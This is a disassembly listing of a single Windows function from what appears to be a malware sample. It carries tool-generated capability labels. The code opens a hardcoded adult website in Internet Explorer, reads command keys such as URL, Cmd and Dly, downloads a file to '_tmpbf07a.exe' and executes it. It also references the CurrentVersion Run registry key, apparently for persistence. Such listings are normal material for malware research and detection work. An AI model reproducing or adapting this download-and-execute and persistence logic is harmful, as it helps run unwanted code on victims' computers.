Function at 0x40531c
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3b8
push ebx
push esi
push edi
lea ecx, [ebp - 0xf0]
call fcn.00402cef
lea ecx, [ebp - 0x24c]
call fcn.00403cb8
lea ecx, [ebp - 0x114]
call fcn.00401a8a
lea ecx, [ebp - 0x98]
call fcn.00401a8a
lea ecx, [ebp - 0x74]
call fcn.00401a8a
lea ecx, [ebp - 0xa4]
call fcn.00401a8a
lea ecx, [ebp - 0x1c]
call fcn.00401a8a
lea ecx, [ebp - 0x3c]
call fcn.00401a8a
lea ecx, [ebp - 0x80]
call fcn.00401a8a
lea ecx, [ebp - 0x64]
call fcn.00401a8a
lea ecx, [ebp - 0x8c]
call fcn.00401a8a
lea ecx, [ebp - 0xb0]
call fcn.00401a8a
lea ecx, [ebp - 0xc0]
call fcn.00401a8a
mov al, byte [ebp - 1]
mov esi, 0x41265c
lea edi, [ebp - 0x124]
mov byte [ebp - 0x4c], al
mov al, byte [ebp - 1]
push 1
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x30], al
pop eax
movsd dword es:[edi], dword [esi]
xor ebx, ebx
push 3
push ebx
push str.http:__www.thesexsquare.com_2_
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x20], eax
movsd dword es:[edi], dword [esi]
mov al, byte [ebp - 0x124]
push str.iexplore
push str.open
push ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x68], 0x1388
mov byte [ebp - 0x3b8], al
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x105
lea eax, [ebp - 0x3b8]
push ebx
push eax
call fcn.00407040
add esp, 0xc
lea eax, [ebp - 0x3b8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push ebx
call fcn.004079b0
push eax
call fcn.004077d6
push ecx
lea ecx, [ebp - 0xf0]
mov eax, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0040323c
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x24c]
call fcn.004049f7
push eax
lea ecx, [ebp - 0xa4]
call fcn.00401de9
lea ecx, [ebp - 0xcc]
call fcn.00401d53
push dword [ebp - 0x44]
lea ecx, [ebp - 0x4c]
push dword [ebp - 0x48]
call fcn.00406394
push 0x4120c0
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
push 4
xor esi, esi
pop edi
cmp dword [ebp - 0x48], ebx
je 0x405776
mov eax, dword [ebp - 0x44]
push 0xc
sub eax, dword [ebp - 0x48]
pop ecx
cdq
idiv ecx
cmp esi, eax
jae 0x405776
push esi
lea ecx, [ebp - 0x4c]
call fcn.004024de
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401de9
push str.Reg
push edi
lea eax, [ebp - 0xcc]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0xcc]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x40553c
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x74]
call fcn.00401de9
lea ecx, [ebp - 0x58]
jmp 0x40576b
push str.URL
push edi
lea eax, [ebp - 0x13c]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x13c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x40559a
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0xa4]
call fcn.00401de9
lea ecx, [ebp - 0x16c]
jmp 0x40576b
push str.Cmd
push edi
lea eax, [ebp - 0x130]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x130]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x4055f8
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x160]
push edi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x224]
call fcn.00401de9
lea ecx, [ebp - 0x160]
jmp 0x40576b
push str.Stg
push edi
lea eax, [ebp - 0x178]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x178]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405656
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x190]
push edi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401de9
lea ecx, [ebp - 0x190]
jmp 0x40576b
push str.Ver
push edi
lea eax, [ebp - 0x19c]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x19c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x4056b4
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x148]
push edi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407cb7
pop ecx
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x148]
jmp 0x40576b
push str.DeF
push edi
lea eax, [ebp - 0x154]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x154]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x40570f
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x184]
push edi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407cb7
pop ecx
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x184]
jmp 0x40576b
push str.Dly
push edi
lea eax, [ebp - 0x108]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x108]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405770
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0xfc]
push edi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407cb7
pop ecx
mov dword [ebp - 0xb4], eax
lea ecx, [ebp - 0xfc]
call fcn.00401d53
inc esi
jmp 0x4054b8
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.00406394
mov esi, 0x4124d8
lea ecx, [ebp - 0x58]
push esi
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
push ebx
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401de9
push 1
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0xb0]
call fcn.00401de9
push 2
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401de9
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0xf0]
push eax
call fcn.00401de9
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0x1c0]
push eax
call fcn.00401de9
lea eax, [ebp - 0xb0]
lea ecx, [ebp - 0xe4]
push eax
call fcn.00401de9
lea eax, [ebp - 0xb0]
lea ecx, [ebp - 0x1b4]
push eax
call fcn.00401de9
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0xd8]
push eax
call fcn.00401de9
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0x1a8]
push eax
call fcn.00401de9
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.00406394
push esi
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0x224]
cmp dword [ebp - 0x2c], ebx
je 0x4058c6
mov eax, dword [ebp - 0x28]
push 0xc
sub eax, dword [ebp - 0x2c]
pop ecx
cdq
idiv ecx
cmp dword [ebp - 0x10], eax
jae 0x4058c6
push dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
mov ecx, edi
call fcn.00401de9
inc dword [ebp - 0x10]
add edi, 0xc
jmp 0x405895
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.00406394
push esi
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
mov edi, 0x413370
lea ecx, [ebp - 0x74]
push edi
call fcn.00401d74
push edi
lea ecx, [ebp - 0x98]
call fcn.00401d74
xor esi, esi
cmp dword [ebp - 0x2c], ebx
je 0x405990
mov eax, dword [ebp - 0x28]
push 0xc
sub eax, dword [ebp - 0x2c]
pop ecx
cdq
idiv ecx
cmp esi, eax
jae 0x405990
lea eax, [ebp - 0xfc]
push 0x4124d8
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.004024de
mov ecx, eax
call fcn.00401fbd
push eax
lea ecx, [ebp - 0x98]
call fcn.00401e50
lea ecx, [ebp - 0xfc]
call fcn.00401d53
lea eax, [ebp - 0x108]
push 0x4124d8
push eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x30]
call fcn.004024de
mov ecx, eax
call fcn.00401fbd
push eax
lea ecx, [ebp - 0x74]
call fcn.00401e50
lea ecx, [ebp - 0x108]
call fcn.00401d53
inc esi
inc esi
jmp 0x405911
mov eax, dword [ebp - 0x94]
push 1
dec eax
lea ecx, [ebp - 0x98]
push eax
call fcn.00402253
mov eax, dword [ebp - 0x70]
push 1
dec eax
lea ecx, [ebp - 0x74]
push eax
call fcn.00402253
sub esp, 0xc
lea eax, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x74]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0xf0]
call fcn.004033ec
dec eax
je 0x40626d
dec eax
jne 0x4062f0
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
shl eax, 1
cmp eax, ebx
jle 0x405a0e
mov esi, eax
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
dec esi
jne 0x405a00
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jg 0x405a25
lea ecx, [ebp - 0x24c]
call fcn.00404a93
test al, al
jne 0x405a3a
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp - 0x20], ebx
jle 0x405a16
dec dword [ebp - 0x20]
jmp 0x405a11
mov eax, dword [ebp - 0xb4]
push dword [ebp - 0x44]
lea ecx, [ebp - 0x4c]
push dword [ebp - 0x48]
lea eax, [eax + eax*4]
shl eax, 1
mov dword [ebp - 0x20], eax
call fcn.00406394
push 0x4124d8
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
sub esp, 0x10
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00403a1d
lea eax, [ebp - 0x2b0]
lea ecx, [ebp - 0xf0]
push eax
call fcn.004038fa
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403abe
lea ecx, [ebp - 0x2b0]
call fcn.00403a8b
mov byte [ebp - 9], bl
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x48], ebx
je 0x405a11
mov eax, dword [ebp - 0x44]
push 0xc
sub eax, dword [ebp - 0x48]
pop ecx
cdq
idiv ecx
cmp dword [ebp - 0x10], eax
jae 0x405a11
cmp byte [ebp - 9], bl
jne 0x405a11
push ebx
lea ecx, [ebp - 0x4c]
push dword [ebp - 0x68]
push dword [ebp - 0x10]
call fcn.004024de
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0x24c]
call fcn.00404efc
test al, al
je 0x4061ad
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0xfc]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049f7
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0xfc]
call fcn.00401d53
push edi
lea ecx, [ebp - 0x80]
call fcn.004020d2
test al, al
je 0x4061ad
sub esp, 0xc
lea eax, [ebp - 0x80]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x108]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00403e08
push eax
lea ecx, [ebp - 0x3c]
call fcn.00401de9
lea ecx, [ebp - 0x108]
call fcn.00401d53
sub esp, 0xc
lea eax, [ebp - 0x80]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x184]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040464d
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0x184]
call fcn.00401d53
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0x24c]
call fcn.00404000
dec eax
je 0x40625d
dec eax
je 0x405ff9
dec eax
je 0x405f3f
dec eax
je 0x405e10
dec eax
je 0x405d4f
dec eax
je 0x405cbb
dec eax
jne 0x405b4c
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x154]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x154]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b4c
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.004047fe
sub esp, 0xc
lea eax, [ebp - 0xc0]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x8c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0xf0]
call fcn.00403149
jmp 0x4061a4
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x148]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x148]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b4c
push 1
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x19c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
push dword [eax + 8]
call fcn.00407cb7
pop ecx
mov esi, eax
lea ecx, [ebp - 0x19c]
imul esi, esi, 0x3c
call fcn.00401d53
imul esi, esi, 0x3e8
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4061a4
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x190]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b4c
push ebx
lea eax, [ebp - 0x3c]
push dword [ebp - 0x68]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.004047fe
lea ecx, [ebp - 0x24c]
call fcn.00404efc
test al, al
je 0x405b4c
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x178]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049f7
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0x178]
call fcn.00401d53
jmp 0x4061a4
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x130]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.004020d2
test al, al
je 0x405e85
push edi
push 2
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x160]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x160]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
mov byte [ebp - 1], 1
jne 0x405e88
mov byte [ebp - 1], bl
lea ecx, [ebp - 0x130]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b4c
push dword [ebp - 0x68]
lea ecx, [ebp - 0xcc]
call fcn.00401b9c
lea eax, [ebp - 0xcc]
push eax
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x16c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.00402124
lea ecx, [ebp - 0x16c]
mov byte [ebp - 1], al
call fcn.00401d53
lea ecx, [ebp - 0xcc]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b4c
push ebx
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 2
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.004047fe
lea ecx, [ebp - 0x24c]
call fcn.00405141
test al, al
jne 0x4061b5
jmp 0x405b4c
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x13c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x13c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b4c
lea eax, [ebp - 0x3b8]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push 1
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x288]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
push eax
lea eax, [ebp - 0x2a0]
push str._t_n_r
push eax
call fcn.0040228d
add esp, 0xc
lea ecx, [ebp - 0x64]
push eax
call fcn.00401e50
lea ecx, [ebp - 0x2a0]
call fcn.00401d53
lea ecx, [ebp - 0x288]
call fcn.00401d53
push dword [ebp - 0x5c]
call fcn.00407c02
pop ecx
jmp 0x4061a4
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x264]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.004020d2
test al, al
je 0x40606e
push edi
push 2
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x294]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x294]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
mov byte [ebp - 1], 1
jne 0x406071
mov byte [ebp - 1], bl
lea ecx, [ebp - 0x264]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b4c
push ebx
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.004047fe
lea ecx, [ebp - 0x24c]
call fcn.00405141
test al, al
je 0x405b4c
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x258]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049f7
push eax
lea ecx, [ebp - 0x230]
call fcn.00401de9
lea ecx, [ebp - 0x258]
call fcn.00401d53
lea eax, [ebp - 0x3b8]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push 2
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x270]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004047fe
push eax
lea eax, [ebp - 0x27c]
push str._t_n_r
push eax
call fcn.0040228d
add esp, 0xc
lea ecx, [ebp - 0x64]
push eax
call fcn.00401e50
lea ecx, [ebp - 0x27c]
call fcn.00401d53
lea ecx, [ebp - 0x270]
call fcn.00401d53
push 0x41245c
push dword [ebp - 0x5c]
call fcn.004077c3
mov esi, eax
push esi
push dword [ebp - 0x22c]
push 1
push dword [ebp - 0x228]
call fcn.00407699
push esi
call fcn.00407643
add esp, 0x1c
push 5
push ebx
push ebx
push dword [ebp - 0x5c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 9], 1
jmp 0x405b4c
inc dword [ebp - 0x10]
jmp 0x405abb
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0x24c]
push eax
call fcn.004049f7
push eax
lea ecx, [ebp - 0x230]
call fcn.00401de9
lea ecx, [ebp - 0x120]
call fcn.00401d53
lea eax, [ebp - 0x3b8]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push str._tmpbf07a.exe
lea ecx, [ebp - 0x64]
call fcn.00401e8c
push 0x41245c
push dword [ebp - 0x5c]
call fcn.004077c3
mov esi, eax
push esi
push dword [ebp - 0x22c]
push 1
push dword [ebp - 0x228]
call fcn.00407699
push esi
call fcn.00407643
add esp, 0x1c
lea ecx, [ebp - 0xf0]
call fcn.0040330e
push 5
push ebx
push ebx
push dword [ebp - 0x5c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x4062f0
lea ecx, [ebp - 0xf0]
call fcn.0040330e
jmp 0x4062f0
push 5
push ebx
push ebx
lea eax, [ebp - 0xb0]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x8c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0xf0]
call fcn.00403061
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.00401c0f
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0xf0]
push eax
call fcn.00403061
mov ecx, eax
call fcn.004063ea
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x120]
call fcn.00401d53
lea ecx, [ebp - 0xf0]
call fcn.00402d70
lea ecx, [ebp - 0x30]
call fcn.00403a8b
lea ecx, [ebp - 0x4c]
call fcn.00403a8b
lea ecx, [ebp - 0xc0]
call fcn.00401d53
lea ecx, [ebp - 0xb0]
call fcn.00401d53
lea ecx, [ebp - 0x8c]
call fcn.00401d53
lea ecx, [ebp - 0x64]
call fcn.00401d53
lea ecx, [ebp - 0x80]
call fcn.00401d53
lea ecx, [ebp - 0x3c]
call fcn.00401d53
lea ecx, [ebp - 0x1c]
call fcn.00401d53
lea ecx, [ebp - 0xa4]
call fcn.00401d53
lea ecx, [ebp - 0x74]
call fcn.00401d53
lea ecx, [ebp - 0x98]
call fcn.00401d53
lea ecx, [ebp - 0x114]
call fcn.00401d53
lea ecx, [ebp - 0x24c]
call fcn.00403d4b
lea ecx, [ebp - 0xf0]
call fcn.00402d2c
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10